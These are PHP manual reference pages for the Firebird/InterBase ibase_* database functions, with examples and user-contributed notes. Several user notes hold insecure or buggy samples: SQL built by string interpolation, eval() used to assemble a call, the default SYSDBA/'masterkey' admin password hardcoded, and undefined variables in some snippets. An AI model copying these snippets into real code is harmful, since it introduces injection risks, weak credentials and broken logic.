  • ibase_pconnect() - Open a persistent connection to an InterBase database

User Contributed Notes

There are no user contributed notes for this page.
ibase_delete_user
ibase_errcode
Firebird/InterBase Functions


Return an error code

ibase_drop_db
ibase_errmsg
Firebird/InterBase Functions
PHP Manual

ibase_errcode

(PHP 5)

ibase_errcode — Return an error code

Description

int ibase_errcode ( void )

Returns the error code that resulted from the most recent InterBase function call.

Return Values

Returns the error code as an integer, or FALSE if no error occurred.

See Also

  • ibase_errmsg() - Return error messages

User Contributed Notes

There are no user contributed notes for this page.
ibase_drop_db
ibase_errmsg
Firebird/InterBase Functions


Return error messages

ibase_errcode
ibase_execute
Firebird/InterBase Functions
PHP Manual

ibase_errmsg

(PHP 4, PHP 5)

ibase_errmsg — Return error messages

Description

string ibase_errmsg ( void )

Returns the error message that resulted from the most recent InterBase function call.

Return Values

Returns the error message as a string, or FALSE if no error occurred.

See Also

  • ibase_errcode() - Return an error code

User Contributed Notes

There are no user contributed notes for this page.
ibase_errcode
ibase_execute
Firebird/InterBase Functions


Execute a previously prepared query

ibase_errmsg
ibase_fetch_assoc
Firebird/InterBase Functions
PHP Manual

ibase_execute

(PHP 4, PHP 5)

ibase_execute — Execute a previously prepared query

Description

resource ibase_execute ( resource $query [, mixed $bind_arg [, mixed $... ]] )

Execute a query prepared by ibase_prepare().

This is a lot more effective than using ibase_query() if you are repeating a same kind of query several times with only some parameters changing.

Parameters

query

An InterBase query prepared by ibase_prepare().

bind_arg

...

Return Values

If the query raises an error, returns FALSE. If it is successful and there is a (possibly empty) result set (such as with a SELECT query), returns a result identifier. If the query was successful and there were no results, returns TRUE.

Note:

In PHP 5.0.0 and up, this function returns the number of rows affected by the query (if > 0 and applicable to the statement type). A query that succeeded, but did not affect any rows (e.g. an UPDATE of a non-existent record) will return TRUE.

Examples

Example #1 ibase_execute() example

<?php

$dbh = ibase_connect($host, $username, $password);

$updates = array(
    1 => 'Eric',
    5 => 'Filip',
    7 => 'Larry'
);

$query = ibase_prepare($dbh, "UPDATE FOO SET BAR = ? WHERE BAZ = ?");

foreach ($updates as $baz => $bar) {
    ibase_execute($query, $bar, $baz);
}

?>

See Also

  • ibase_query() - Execute a query on an InterBase database

User Contributed Notes

caveman 24-Jan-2003 10:18
ibase_execute only return resource id not the actual result, you need to use ibase_fetch_row or ibase_fetch_object to retrieve actual result.

On the example above given by anthony
it should be like these

 $dbh = ibase_connect ( $host, $username, $password ) ;
 $stmt = 'SELECT * FROM "EMPLOYEE" WHERE "SALARY" = ? AND "DEPT_CD" = ? ;' ;
 $prep = ibase_prepare ( $dbh, $stmt ) ;

 $salary = Array ( "10000", "25000", "33000", "48000" ) ;
 $dept_cd = 'SALES' ;

 foreach ( $salary as $val ) {
   $res = ibase_execute ($prep, $val, $dept_cd);
   $taxForm[$val] = ibase_fetch_row ($res);
}
mclap at ulstu dot ru 07-Sep-2002 06:54
For variable argument list in ibase_execute you can use folowing functions:

For PHP >= 4.0.4:

function db_execute($stmt,$data)
{
    if(!is_array($data))
        return ibase_execute($stmt,$data);
    array_unshift($data,$stmt);
    $rc=call_user_func_array('ibase_execute',$data);
    return $rc;
}

For any version of PHP:
function db_execute($stmt,$data)
{
    if(!is_array($data))
        return ibase_execute($stmt,$data);

    $params = array();
    while( list($k,$v) = each($data) )
        $params[$k] = '$data['.$k.']';
    eval('$rc=ibase_execute($stmt,'.join(',',$params).');');

    return $rc;
}
ibase_errmsg
ibase_fetch_assoc
Firebird/InterBase Functions


Fetch a result row from a query as an associative array

ibase_execute
ibase_fetch_object
Firebird/InterBase Functions
PHP Manual

ibase_fetch_assoc

(PHP 4 >= 4.3.0, PHP 5)

ibase_fetch_assoc — Fetch a result row from a query as an associative array

Description

array ibase_fetch_assoc ( resource $result [, int $fetch_flag = 0 ] )

Fetch a result row from a query as an associative array.

ibase_fetch_assoc() fetches one row of data from the result. If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you either need to access the result with numeric indices by using ibase_fetch_row() or use alias names in your query.

Parameters

result

The result handle.

fetch_flag

fetch_flag is a combination of the constants IBASE_TEXT and IBASE_UNIXTIME ORed together. Passing IBASE_TEXT will cause this function to return BLOB contents instead of BLOB ids. Passing IBASE_UNIXTIME will cause this function to return date/time values as Unix timestamps instead of as formatted strings.

Return Values

Returns an associative array that corresponds to the fetched row. Subsequent calls will return the next row in the result set, or FALSE if there are no more rows.

See Also

  • ibase_fetch_row() - Fetch a row from an InterBase database
  • ibase_fetch_object() - Get an object from a InterBase database

User Contributed Notes

karasek ... ceskyserver - dot - cz 26-Apr-2005 12:37
Unlike mysql_fetch_assoc, all indexes of associative array are upper-case.

so, use
$row = ibase_fetch_assoc($result);

echo $row["INDEX"];
not
echo $row["index"];
sir_fred@ 13-Dec-2003 06:34
If your php is older than version 4.3.0, you can use the following:

$arr_record = get_object_vars(ibase_fetch_object($sql_result));

which is the same as: $arr_record = ibase_fetch_assoc($sql_result);
ibase_execute
ibase_fetch_object
Firebird/InterBase Functions


Get an object from a InterBase database

ibase_fetch_assoc
ibase_fetch_row
Firebird/InterBase Functions
PHP Manual

ibase_fetch_object

(PHP 4, PHP 5)

ibase_fetch_object — Get an object from a InterBase database

Description

object ibase_fetch_object ( resource $result_id [, int $fetch_flag = 0 ] )

Fetches a row as a pseudo-object from a given result identifier.

Subsequent calls to ibase_fetch_object() return the next row in the result set.

Parameters

result_id

An InterBase result identifier obtained either by ibase_query() or ibase_execute().

fetch_flag

fetch_flag is a combination of the constants IBASE_TEXT and IBASE_UNIXTIME ORed together. Passing IBASE_TEXT will cause this function to return BLOB contents instead of BLOB ids. Passing IBASE_UNIXTIME will cause this function to return date/time values as Unix timestamps instead of as formatted strings.

Return Values

Returns an object with the next row information, or FALSE if there are no more rows.

Examples

Example #1 ibase_fetch_object() example

<?php
$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
    echo $row->email . "\n";
}
ibase_close($dbh);
?>

See Also

  • ibase_fetch_row() - Fetch a row from an InterBase database
  • ibase_fetch_assoc() - Fetch a result row from a query as an associative array

User Contributed Notes

richard at willmann dot sk 31-Dec-2000 05:29
The loop below is execute for all NOT NULL columns!

$foo = get_object_vars($dbRow);
foreach ($foo as $col=>$val) {
...
}
r dot metzger at spectraweb dot ch 27-Nov-2000 02:55
Interbase not always stores in uppercase. It depends how you created the table. If you use CREATE TABLE xyz("email" varchar(90)) you can get informations with $row->email.

If you use CREATE TABLE xyz(email varchar(90)) you have to use $row->EMAIL.
ibase_fetch_assoc
ibase_fetch_row
Firebird/InterBase Functions


Fetch a row from an InterBase database

ibase_fetch_object
ibase_field_info
Firebird/InterBase Functions
PHP Manual

ibase_fetch_row

(PHP 4, PHP 5)

ibase_fetch_row — Fetch a row from an InterBase database

Description

array ibase_fetch_row ( resource $result_identifier [, int $fetch_flag = 0 ] )

ibase_fetch_row() fetches one row of data from the given result set.

Subsequent calls to ibase_fetch_row() return the next row in the result set, or FALSE if there are no more rows.

Parameters

result_identifier

An InterBase result identifier.

fetch_flag

fetch_flag is a combination of the constants IBASE_TEXT and IBASE_UNIXTIME ORed together. Passing IBASE_TEXT will cause this function to return BLOB contents instead of BLOB ids. Passing IBASE_UNIXTIME will cause this function to return date/time values as Unix timestamps instead of as formatted strings.

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows. Each result column is stored in an array offset, starting at offset 0.

See Also

  • ibase_fetch_assoc() - Fetch a result row from a query as an associative array
  • ibase_fetch_object() - Get an object from a InterBase database

User Contributed Notes

richard at wojthegame dot com 16-Mar-2006 06:06
If you have a query

"select ... from table1 where ..."

and would like to know the cardinality of the result set by issuing a separate query

"select count(*) from table1 where ..."

then you might end up with an incorrect value since an insert or delete can occur between the running of these queries (unlikely, but possible).
The only way i can think of getting the correct value would be something along the lines of

<?php

$qry = "select ... from table1 where ...";
$result = ibase_query($tr, $qry) // assume $tr is a transaction

$count = 0;
while ($row[$count] = ibase_fetch_assoc($result))
    $count++;

?>

then $count is the cardinality, and $row the result set.
Then you can work with the result set:

<?php

for ($i = 0; $i < $count; $i++)
{
  // do something with $row[$i]
}

?>
gurroa at gurroa dot cz 08-Jul-2003 12:41
I had some troubles with moving php application from one dbase to another. From SyBase to Interbase.
Especially with missing function "ibase_num_rows($result)".

These are functions that helped me.
<?php
...
$dbh = ibase_connect ($host, $username, $password);
...
$ar_count_queries = array();

function ibasequery($query) {
  $cquery = preg_replace("/SELECT(.*?)FROM(.*?)/","SELECT COUNT(*) FROM \\2",$query);
  if ($cquery != $query) {
   $crow=get_object_vars( ibase_fetch_object( ibase_query( $GLOBALS["dbh"], $cquery ) ) );
   }
  @$res = ibase_query($GLOBALS["dbh"],$query);
  if (isset($res)) {
    if (isset($crow)) {
     $GLOBALS["ar_count_queries"][$res] = $radcountselect["COUNT"];
    }
    return $res;
  }
   return false;
}

function ibasenumrows($result) {
  return $GLOBALS["ar_count_queries"][$res];
}

function ibasefetchrow($result) {
  return get_object_vars(ibase_fetch_object($result));
}

// example
$result = ibasequery("SELECT * FROM TABLE");
$numrows = ibasenumrows($result);
echo "Number of rows: $numrows.\nContent: \n";
while ($onerow = ibasefetchrow($res)) {
  foreach($onerow as $key => $value) {
    echo $key.": ".$value.", ";
  }
  echo "\n";
}
?>
Gurroa
ibase_fetch_object
ibase_field_info
Firebird/InterBase Functions


Get information about a field

ibase_fetch_row
ibase_free_event_handler
Firebird/InterBase Functions
PHP Manual

ibase_field_info

(PHP 4, PHP 5)

ibase_field_info — Get information about a field

Description

array ibase_field_info ( resource $result , int $field_number )

Returns an array with information about a field after a select query has been run.

Parameters

result

An InterBase result identifier.

field_number

Field offset.

Return Values

Returns an array with the following keys: name, alias, relation, length and type.

Examples

Example #1 ibase_field_info() example

<?php
$rs = ibase_query("SELECT * FROM tablename");
$coln = ibase_num_fields($rs);
for ($i = 0; $i < $coln; $i++) {
    $col_info = ibase_field_info($rs, $i);
    echo "name: ". $col_info['name']. "\n";
    echo "alias: ". $col_info['alias']. "\n";
    echo "relation: ". $col_info['relation']. "\n";
    echo "length: ". $col_info['length']. "\n";
    echo "type: ". $col_info['type']. "\n";
}
?>

See Also

  • ibase_num_fields() - Get the number of fields in a result set

User Contributed Notes

tiago at econtabil dot com 13-Oct-2009 07:55
In Firebird 1.5 this function INT64 returned to the fields created as floating point numbers. In Firebird 2.x this function returns as NUMERIC (SIZE, PRECISION). Example: NUMERIC (18,2)

In Brazilian Portuguese:
No Firebird 1.5 esta função retornava INT64 para os campos criados como numéricos com ponto flutuante. No Firebird 2.x esta função retorna como NUMERIC(TAMANHO, PRECISAO). Exemplo: NUMERIC(18,2)
tiago at econtabil dot com 07-Apr-2006 04:40
Example:
$db = ibase_connect($host,$username,$password, "None", 0, 3 ) or die ('Error trying connect to Database!');

$select = "SELECT * from TABLE";
$sql = ibase_query($db,$select) or die($select);

$total_fields= ibase_num_fields($sql);

for ($j = 1; $j <= $total_fields; $j++)
  {
    $info_field = ibase_field_info($sql, $j-1 );
    print("Name: " . $info_campo[1]); // print the field name
    print("Type:". $info_campo[4]); //print the field type
    print("Size: " . $info_campo[3]); // print the field size
  }
This function does not return the type from the fields as we are accustomed in interbase.
Example: Fields VARCHAR are returns as VARYING. Fields of the type CHAR return TEXT.

Tested in Firebird 1.5 Super Server.
ibase_fetch_row
ibase_free_event_handler
Firebird/InterBase Functions


Cancels a registered event handler

ibase_field_info
ibase_free_query
Firebird/InterBase Functions
PHP Manual

ibase_free_event_handler

(PHP 5)

ibase_free_event_handler — Cancels a registered event handler

Description

bool ibase_free_event_handler ( resource $event )

This function causes the registered event handler specified by event to be cancelled. The callback function will no longer be called for the events it was registered to handle.

Parameters

event

An event resource, created by ibase_set_event_handler().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_set_event_handler() - Register a callback function to be called when events are posted

User Contributed Notes

There are no user contributed notes for this page.
ibase_field_info
ibase_free_query
Firebird/InterBase Functions


Free memory allocated by a prepared query

ibase_free_event_handler
ibase_free_result
Firebird/InterBase Functions
PHP Manual

ibase_free_query

(PHP 4, PHP 5)

ibase_free_query — Free memory allocated by a prepared query

Description

bool ibase_free_query ( resource $query )

Frees a prepared query.

Parameters

query

A query prepared with ibase_prepare().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ibase_free_event_handler
ibase_free_result
Firebird/InterBase Functions


Free a result set

ibase_free_query
ibase_gen_id
Firebird/InterBase Functions
PHP Manual

ibase_free_result

(PHP 4, PHP 5)

ibase_free_result — Free a result set

Description

bool ibase_free_result ( resource $result_identifier )

Frees a result set.

Parameters

result_identifier

A result set created by ibase_query() or ibase_execute().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ibase_free_query
ibase_gen_id
Firebird/InterBase Functions


Increments the named generator and returns its new value

ibase_free_result
ibase_maintain_db
Firebird/InterBase Functions
PHP Manual

ibase_gen_id

(PHP 5)

ibase_gen_id — Increments the named generator and returns its new value

Description

mixed ibase_gen_id ( string $generator [, int $increment = 1 [, resource $link_identifier = NULL ]] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns new generator value as integer, or as string if the value is too big.

User Contributed Notes

robert 11-Dec-2006 11:24
EXAMPLE:
You need to know the generator´s value after INSERT:

Before INSERT-Statement run

$nextnumber=ibase_gen_id ("GEN_NAME",1);

GEN_NAME: is the generator´s name

1: means add 1 to actual value of generator

$nextnumber: is variable to store generators value after incrementing

In the INSERT-Statement you can use $nextnumber instead of using generator directly like in:
INSERT INTO test (field1, field2) VALUES gen_id(gen_test_id, 1), 'testme');
escoric at latinmail dot com 17-Aug-2004 10:00
$sql="INSERT INTO mitabla(campo1,campo2,..campo n) VALUES(GEN_ID(mitabla1_codigo_gen,1),'contenido 1', 'contenido 2', 'contenido n' )";
mfischer at php dot net 28-Apr-2004 04:54
Question arose on php-dev:

How does ibase_gen_id() handle 64bit values?

Interbase 6/Firebird generators are always 64-bit signed integers
(Firebird's BIGINT type), regardless of the platform the client is
running.
On 64-bit platforms, this will never require conversion as PHP's int
type is 64 bits wide on those platforms. On 32-bit platforms, the
generated value is converted to a string if it exceeds the limits of a
32-bit signed integer.
(This behaviour is consistent with the ibase_fetch_*() functions, that
will use strings to represent numerical values that cannot be represented
accurately using native PHP numerical types.)

[Edited by PHP/Interbase maintainer.]
ibase_free_result
ibase_maintain_db
Firebird/InterBase Functions


Execute a maintenance command on the database server

ibase_gen_id
ibase_modify_user
Firebird/InterBase Functions
PHP Manual

ibase_maintain_db

(PHP 5)

ibase_maintain_db — Execute a maintenance command on the database server

Description

bool ibase_maintain_db ( resource $service_handle , string $db , int $action [, int $argument = 0 ] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ibase_gen_id
ibase_modify_user
Firebird/InterBase Functions


Modify a user to a security database (only for IB6 or later)

ibase_maintain_db
ibase_name_result
Firebird/InterBase Functions
PHP Manual

ibase_modify_user

(PHP 4 >= 4.2.0, PHP 5)

ibase_modify_user — Modify a user to a security database (only for IB6 or later)

Description

bool ibase_modify_user ( resource $service_handle , string $user_name , string $password [, string $first_name [, string $middle_name [, string $last_name ]]] )
Warning

This function is currently not documented; only its argument list is available.

PHP 4 uses server, dba_user_name and dba_user_password instead of service_handle parameter.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_add_user() - Add a user to a security database (only for IB6 or later)
  • ibase_delete_user() - Delete a user from a security database (only for IB6 or later)

User Contributed Notes

admin at systecdurango dot com 09-Aug-2011 08:16
ibase microsip firebird

<?php
$user_name="ABC";
$password="123";

 $ibserv = ibase_service_attach("localhost","SYSDBA","masterkey");
ibase_modify_user($ibserv, $user_name, $password);
ibase_service_detach($ibserv);
?>

 this change te password por user ABC to 123

SYSDBA USER AND PASSWORD IS NEED TO THIS LINE

<?php $ibserv = ibase_service_attach("localhost","SYSDBA","masterkey"); ?>
_ex at navigators dot lv 24-Jan-2005 01:11
function changed in php 5! in earlier versions the syntax was:
bool ibase_modify_user ( string server, string dba_user_name, string dba_user_password, string user_name, string password [, string first_name [, string middle_name [, string last_name]]])

now it's necessary to connect to service manager, then call ibase_modify_user() and then disconnect from service manager:
    $ibserv = ibase_service_attach($host, $dba_username, $dba_password);
    ibase_modify_user($ibserv, $user_name, $password);
    ibase_service_dettach($ibserv);
ibase_maintain_db
ibase_name_result
Firebird/InterBase Functions


Assigns a name to a result set

ibase_modify_user
ibase_num_fields
Firebird/InterBase Functions
PHP Manual

ibase_name_result

(PHP 5)

ibase_name_result — Assigns a name to a result set

Description

bool ibase_name_result ( resource $result , string $name )

This function assigns a name to a result set. This name can be used later in UPDATE|DELETE ... WHERE CURRENT OF name statements.

Parameters

result

An InterBase result set.

name

The name to be assigned.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ibase_name_result() example

<?php
$result = ibase_query("SELECT field1,field2 FROM table FOR UPDATE");
ibase_name_result($result, "my_cursor");

$updateqry = ibase_prepare("UPDATE table SET field2 = ? WHERE CURRENT OF my_cursor");

for ($i = 0; ibase_fetch_row($result); ++$i) {
    ibase_execute($updateqry, $i);
}
?>

See Also

  • ibase_prepare() - Prepare a query for later binding of parameter placeholders and execution
  • ibase_execute() - Execute a previously prepared query

User Contributed Notes

There are no user contributed notes for this page.
ibase_modify_user
ibase_num_fields
Firebird/InterBase Functions


Get the number of fields in a result set

ibase_name_result
ibase_num_params
Firebird/InterBase Functions
PHP Manual

ibase_num_fields

(PHP 4, PHP 5)

ibase_num_fields — Get the number of fields in a result set

Description

int ibase_num_fields ( resource $result_id )

Get the number of fields in a result set.

Parameters

result_id

An InterBase result identifier.

Return Values

Returns the number of fields as an integer.

Examples

Example #1 ibase_num_fields() example

<?php
$rs = ibase_query("SELECT * FROM tablename");
$coln = ibase_num_fields($rs);
for ($i = 0; $i < $coln; $i++) {
    $col_info = ibase_field_info($rs, $i);
    echo "name: " . $col_info['name'] . "\n";
    echo "alias: " . $col_info['alias'] . "\n";
    echo "relation: " . $col_info['relation'] . "\n";
    echo "length: " . $col_info['length'] . "\n";
    echo "type: " . $col_info['type'] . "\n";
}
?>

See Also

  • ibase_field_info() - Get information about a field

User Contributed Notes

There are no user contributed notes for this page.
ibase_name_result
ibase_num_params
Firebird/InterBase Functions


Return the number of parameters in a prepared query

ibase_num_fields
ibase_param_info
Firebird/InterBase Functions
PHP Manual

ibase_num_params

(PHP 5)

ibase_num_params — Return the number of parameters in a prepared query

Description

int ibase_num_params ( resource $query )

This function returns the number of parameters in the prepared query specified by query. This is the number of binding arguments that must be present when calling ibase_execute().

Parameters

query

The prepared query handle.

Return Values

Returns the number of parameters as an integer.

See Also

  • ibase_prepare() - Prepare a query for later binding of parameter placeholders and execution
  • ibase_param_info() - Return information about a parameter in a prepared query

User Contributed Notes

There are no user contributed notes for this page.
ibase_num_fields
ibase_param_info
Firebird/InterBase Functions


Return information about a parameter in a prepared query

ibase_num_params
ibase_pconnect
Firebird/InterBase Functions
PHP Manual

ibase_param_info

(PHP 5)

ibase_param_info — Return information about a parameter in a prepared query

Description

array ibase_param_info ( resource $query , int $param_number )

Returns an array with information about a parameter after a query has been prepared.

Parameters

query

An InterBase prepared query handle.

param_number

Parameter offset.

Return Values

Returns an array with the following keys: name, alias, relation, length and type.

See Also

  • ibase_field_info() - Get information about a field
  • ibase_num_params() - Return the number of parameters in a prepared query

User Contributed Notes

There are no user contributed notes for this page.
ibase_num_params
ibase_pconnect
Firebird/InterBase Functions


Open a persistent connection to an InterBase database

ibase_param_info
ibase_prepare
Firebird/InterBase Functions
PHP Manual

ibase_pconnect

(PHP 4, PHP 5)

ibase_pconnect — Open a persistent connection to an InterBase database

Description

resource ibase_pconnect ([ string $database [, string $username [, string $password [, string $charset [, int $buffers [, int $dialect [, string $role [, int $sync ]]]]]]]] )

Opens a persistent connection to an InterBase database.

ibase_pconnect() acts very much like ibase_connect() with two major differences.

First, when connecting, the function will first try to find a (persistent) link that's already opened with the same parameters. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the InterBase server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (ibase_close() will not close links established by ibase_pconnect()). This type of link is therefore called 'persistent'.

Parameters

database

The database argument has to be a valid path to database file on the server it resides on. If the server is not local, it must be prefixed with either 'hostname:' (TCP/IP), '//hostname/' (NetBEUI) or 'hostname@' (IPX/SPX), depending on the connection protocol used.

username

The user name. Can be set with the ibase.default_user php.ini directive.

password

The password for username. Can be set with the ibase.default_password php.ini directive.

charset

charset is the default character set for a database.

buffers

buffers is the number of database buffers to allocate for the server-side cache. If 0 or omitted, server chooses its own default.

dialect

dialect selects the default SQL dialect for any statement executed within a connection, and it defaults to the highest one supported by client libraries. Functional only with InterBase 6 and up.

role

Functional only with InterBase 5 and up.

sync

Return Values

Returns an InterBase link identifier on success, or FALSE on error.

See Also

  • ibase_close() - Close a connection to an InterBase database
  • ibase_connect() - Open a connection to an InterBase database

User Contributed Notes

houston_roadrunner at yahoo dot com 19-Apr-2006 08:18
To make a connection to a firebird database with pconnect many people like to use the SYSDBA, or database owner.
example:
$dbConnection = ibase_pconnect('path to db','SYSDBA','masterkey');

The above is fine unless you want to login in various user that have different permissions. To use permission make roles in the database, either as the database creator (or SYSDBA) and grant the roles to the various users.

If you login with...
$dbConnection = ibase_pconnect('path to db', 'USERNAME', 'userpassword');
...interbase will default your user to the PUBLIC role, which is created when the database is create and usualy has select rights on tables only. To get the proper role you will need to use all the parameters, like this...
$user='USERNAME';
$password='userpassword';
$role='MANAGER_HR';
$dbConnection = ibase_pconnect('path to db', $user, $password, '', 0, 3, $role, 0);

BTW - The "path to db", is formed like this...
---------------------
'localhost:c:/firebird/test_db/test.fdb'
---------------------

reading the interbase material, it states 3 connection methods, PHP appears to have selected the tcp type for us. So you can use localhost, or I suspect(never tested this myself) a ip address.
ibase_param_info
ibase_prepare
Firebird/InterBase Functions


Prepare a query for later binding of parameter placeholders and execution

ibase_pconnect
ibase_query
Firebird/InterBase Functions
PHP Manual

ibase_prepare

(PHP 4, PHP 5)

ibase_prepare — Prepare a query for later binding of parameter placeholders and execution

Description

resource ibase_prepare ( string $query )
resource ibase_prepare ( resource $link_identifier , string $query )
resource ibase_prepare ( resource $link_identifier , string $trans , string $query )

Prepare a query for later binding of parameter placeholders and execution (via ibase_execute()).

Parameters

query

An InterBase query.

Return Values

Returns a prepared query handle, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
ibase_pconnect
ibase_query
Firebird/InterBase Functions


Execute a query on an InterBase database

ibase_prepare
ibase_restore
Firebird/InterBase Functions
PHP Manual

ibase_query

(PHP 4, PHP 5)

ibase_query — Execute a query on an InterBase database

Description

resource ibase_query ([ resource $link_identifier ], string $query [, int $bind_args ] )

Performs a query on an InterBase database.

Parameters

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

query

An InterBase query.

bind_args

Return Values

If the query raises an error, returns FALSE. If it is successful and there is a (possibly empty) result set (such as with a SELECT query), returns a result identifier. If the query was successful and there were no results, returns TRUE.

Note:

In PHP 5.0.0 and up, this function will return the number of rows affected by the query for INSERT, UPDATE and DELETE statements. In order to retain backward compatibility, it will return TRUE for these statements if the query succeeded without affecting any rows.

Errors/Exceptions

If you get some error like "arithmetic exception, numeric overflow, or string truncation. Cannot transliterate character between character sets" (this occurs when you try use some character with accents) when using this and after ibase_query() you must set the character set (i.e. ISO8859_1 or your current character set).

Changelog

Version | Description
5.3.1 | On success the function now returns TRUE if there were no affected rows, where it previously returned 0 (a zero followed by an empty space).

Examples

Example #1 ibase_query() example

<?php

$host = 'localhost:/path/to/your.gdb';

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';

$sth = ibase_query($dbh, $stmt) or die(ibase_errmsg());

?>

See Also

  • ibase_errmsg() - Return error messages
  • ibase_fetch_row() - Fetch a row from an InterBase database
  • ibase_fetch_object() - Get an object from a InterBase database
  • ibase_free_result() - Free a result set

User Contributed Notes

apolenary at mail dot ru 30-May-2006 06:20
In woking time ibase_qury() and ibase_fetch_row() with many time call thei arise the ERROR -> Fatal error: Maximum execution time of 30 seconds exceeded

ERROR arise in that script:
foreach ($vidtr_list as $vidtr)
{
   foreach ($branches_train as $from)
   {
     foreach ($branches_train as $to)
     {
       if (isset($pricelst_train[$vidtr][$from][$to]['ID']))
       {
    for ($i = 1; $i < 7; $i++)
    {
      $id = $pricelst_train[$vidtr][$from][$to]['ID'];
               $sql_v = "SELECT * FROM P_GET_PRICE_C_VES('$id','$std_train1_ves[$i]')";
      $query_rez = ibase_query($db,$sql_v) or die(ibase_errmsg());
      $prc_v =  ibase_fetch_row($query_rez);
      $sql_o = "SELECT * FROM P_GET_PRICE_C_OBYOM('$id', '$std_train1_obyom[$i]')";
       $query_rez = ibase_query($db,$sql_o) or die(ibase_errmsg());
      $prc_o =  ibase_fetch_row($query_rez);

    if (isset($prc_o[0]))
    {
    $c_obyom = $prc_o[0];
    $c_ves = $prc_v[0];
    $prices_train[$id][$i] = array( 'OBYOM' => $c_obyom,'VES'    => $c_ves );
    $mysql_jde_price[$cnt_price] = "INSERT INTO jde_price VALUES (default, '$id', '$std_train1_ves[$i]', '$c_ves', '$std_train1_obyom[$i]', '$c_obyom');";
    $cnt_price++;
    }
    }
   }
  }
 }
}

How I can decide that Error?
akach [at] exat (dot) ru 28-Jul-2005 04:18
If you use ibase_query() for SELECT without fetching result then you must know that SELECT isn't actually executed.
E.g. you perform "SELECT MY_UDF(param) from RDB$DATABASE" - MY_UDF isn't actually called until you fetch result.

This is a feature(or bug) of php interbase drivers, not interbase/firebird itself.

Test conditions: firebird 1.5.2, php 4.
escoric at latinmail dot com 17-Aug-2004 10:43
/* If your work environment is windows */

$link=ibase_connect ($path, $usuario, $password, 'WIN1251');
chrisg at cordell dot com dot au 03-Jun-2004 11:57
Simple function to retrieve the results of an SQL statement into an array, will also cater for BLOB fields:

<?php
function interbase_sql_exec ($sql) {
    $dataArr = array();
    $host = "svrname:path\filename.GDB";
    $username = "whatever";
    $password = "******";
    $connection = ibase_connect ($host, $username, $password,'ISO8859_1', '100', '1');
    $rid = @ibase_query ($connection, $sql);
    if ($rid===false) errorHandle(ibase_errmsg(),$sql);
    $coln = ibase_num_fields($rid);
    $blobFields = array();
    for ($i=0; $i < $coln; $i++) {
        $col_info = ibase_field_info($rid, $i);
        if ($col_info["type"]=="BLOB") $blobFields[$i] = $col_info["name"];
    }
    while ($row = ibase_fetch_row ($rid)) {
        foreach ($blobFields as $field_num=>$field_name) {
            $blobid = ibase_blob_open($row[$field_num]);
            $row[$field_num] = ibase_blob_get($blobid,102400);
            ibase_blob_close($blobid);
        }
        $dataArr[] = $row;
    }
    ibase_close ($connection);
    return $dataArr;
}
?>
SenorTZ senortz at nospam dot yahoo dot com 24-Jul-2003 04:18
Two comments on interogating system tables in Interbase or Firebird; I hope it helps.

1. if you try to build a query string to extract data from a system table (that has the form "rdb$some_name"), you should divide the "rdb$some_name" table name in your query string using the string merge operator ".".
$query = "select rdb"."$"."relation_name as TABLE_NAME from rdb"."$"."relations where rdb"."$"."system_flag=0";

2. The second thing is related to the fact that you can later use (after the call to ibase_fetch_object) as field identifier the ALIAS used in the query for the "rdb$some_name" table.

Example:
$get_table_names_query = "select rdb"."$"."relation_name as TABLE_NAME from rdb"."$"."relations where rdb"."$"."system_flag=0";
//
$res_table_names_query = ibase_query($dbconnection, $get_table_names_query);
//
while ($row_table_names = ibase_fetch_object($res_table_names_query))
{
    print($row_table_names->TABLE_NAME);//alias used
}

Editor's note:
it is easier to use a backslash to protect the $-sign.
eg. "select rdb\$relation_name as TABLE_NAME from ..."
elf at royal dot net 28-Mar-2002 12:18
A BLOB can be fetched easily adding IBASE_TEXT parameter to the ibase_fetch_object() function:

$r=ibase_query("select BLOB from BLOBS where BLOB_ID=1");
$d=ibase_fetch_object($r,IBASE_TEXT);

and it will fetch the BLOB as a text. Thus it referres to it like this:
$d->BLOB

*** ELF ***
eric_cavalcanti at hotmail dot com 19-Jan-2002 12:11
Using BLOB

Insert BLOB:

 /* create blob */
$blob_id = ibase_blob_create();

 /* fill blob */
ibase_blob_add($blob_id, $var_datablob);

/* close new blob */
$blob_id_str = ibase_blob_close($blob_id);

/* insert into table  */
ibase_query("INSERT INTO BLOB_TABLE (ID, BLOB) VALUES (1, ?)",$blob_id_str);

Open BLOB:

/* query */
$set = ibase_query("SELECT BLOB FROM BLOB_TABLE WHERE ID = 1");

/* fetche a row */
$row = ibase_fetch_object($set);

/* open BLOB for read */
$blob_id = ibase_blob_open($row->BLOB);

/* get BLOB data */
$stringBLOB = ibase_blob_get($blob_id);

/* print BLOB */
echo $stringBLOB;

/* close new blob */
ibase_blob_close($blob_id);

/* free result */
ibase_free_result($set);
ibase_prepare
ibase_restore
Firebird/InterBase Functions


Initiates a restore task in the service manager and returns immediately

ibase_query
ibase_rollback_ret
Firebird/InterBase Functions
PHP Manual

ibase_restore

(PHP 5)

ibase_restore — Initiates a restore task in the service manager and returns immediately

Description

mixed ibase_restore ( resource $service_handle , string $source_file , string $dest_db [, int $options = 0 [, bool $verbose = false ]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ibase_query
ibase_rollback_ret
Firebird/InterBase Functions


Roll back a transaction without closing it

ibase_restore
ibase_rollback
Firebird/InterBase Functions
PHP Manual

ibase_rollback_ret

(PHP 5)

ibase_rollback_ret — Roll back a transaction without closing it

Description

bool ibase_rollback_ret ([ resource $link_or_trans_identifier = NULL ] )

